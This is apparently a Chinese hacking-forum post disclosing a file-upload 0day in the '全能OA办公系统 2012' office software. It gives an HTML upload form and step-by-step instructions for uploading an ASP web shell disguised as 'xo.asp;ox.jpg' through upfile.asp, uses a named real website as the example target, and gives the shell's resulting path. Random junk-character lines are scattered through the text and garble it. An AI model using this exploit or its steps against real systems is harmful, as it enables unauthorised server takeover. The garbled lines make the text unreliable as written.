全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
) m( g. p9 q( w' I: b) [
$ |3 W3 T# V( E* |" c) X全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
) K' J, ?; L: O
主要功能：
0 s, `: _: ]% f# ]; b1 t公司通告
. e# y# J5 F$ d; [% A4 K' `+ h( [工作计划
" H' _. v4 t* f0 K* ~6 j5 S) |通讯助理
客户资源
5 f, r; n7 s0 e. t% N0 R' s我的公文
公文传阅
3 P( L" t: I+ p) f+ I公共资源
8 i5 A' @0 i  d资源预约
0 t" P5 V: E: D  h% v3 ?7 g2 z5 M5 M今日考勤
个人计划
个人通讯录
个人基本档案
未读邮件
/ i# y) K/ U5 i7 n, [发邮件
收件夹
寄件夹
0 O: a% u, K* Q网络硬盘
网络会议
网络调查
交流论坛

有兴趣测试的朋友可以下源码看看

源码下载：
% ^4 r% j. E  y+ r- D6 G
http://www.mycodes.net/30/4750.htm
- ^- r7 w6 H$ g4 u
1 E3 v& o# b* F4 ]- X+ B. {漏洞介绍：

: g4 a& r7 C9 b; K5 r" \2 P1 Y. w由upfile.asp上传文件漏洞引起

测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可
  [" T2 o. F4 [5 ~% _
# }: k, Y% Y. o" U5 k如果upfile.asp文件被删除不存在。
$ ~0 K4 F5 ?$ z2 z' l
7 C- }+ E" Z1 o  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。
) u, D* A" ^1 I) [5 A1 U% x" @
如果存在那么将如下代码保存为upfile.html。

8 D: n6 o  y4 d3 m+ C$ S然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。


7 K' ~0 c" i. H! K" F  r, O
- s$ u/ f1 Y% X, ?# _$ f01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

6 I- I+ V% g' ^03 <tr>
5 J2 {& H5 _% N1 `$ r8 Z( R. i' F
* }# i! c0 F# H04             <td>报错：</td>

05             <td><input type='radio' name='errnumber' value='0'>
6 F& c, [& ]$ [9 Q% F' r
" Y; a1 C. A1 [# c8 n06               自动更名

07               <input type='radio' name='errnumber' value='1' checked>
- u+ w( L0 M3 i. i' K6 Q8 A. P
08               报错方式
' P. F% @/ d. y* ?/ V; |/ b
09               <input type='radio' name='errnumber' value='2'>

" n8 ]1 j# C, }" p; `8 Y10               直接覆盖</td>
7 ~- k* f! z( P6 W: s% `; b
" Q9 i+ S* U% \* l4 w11           </tr>

, s7 `2 e8 @* w7 y  M  j12           <tr>

; n5 @* d; f$ e/ |, O# B8 E13             <td>主题：</td>
5 J; m' U) i( t0 ~+ [
14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>

# g  A1 D6 h: B9 P( [( t! [. h+ U  s17             <td>文件：</td>
7 L: \4 w8 v+ M8 K( O
6 }+ H- ?, b9 t3 B) X7 L6 O4 q+ O18             <td><input type="file"name="fruit"size="30"></td>

3 Q5 z, ]$ C3 k4 R, p* o8 I19           </tr>
, B* z; H% A7 c. w8 q; {1 M8 T
2 G* g/ N4 q+ S2 c% v20           <tr>

21             <td valign='top'>简介：</td>
; A: I) K) U8 y8 }% \" I3 ?
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

! R# ]* f" z9 d1 m( [23           </tr>

/ q% @% c% E7 j3 O$ r3 P7 k24   

( ]8 t- f: y8 E' c25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

* F1 M7 @8 D+ y2 L3 ~26           </tr>
5 h0 U$ Y0 t$ f: {
% G& t# o: p' t! p7 V: I1 U27         </form>
( T$ y: d) b& h3 l
然后打开上传一个文件名为xo.asp;ox.jpg的文件。

7 G! H3 m- V6 i+ M; m3 G& [) N
0 l5 \) `) _! ^+ |! k) T( ]
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。
5 d' C; U, @) f$ D9 D6 b
, E6 V5 u/ P# K9 U: e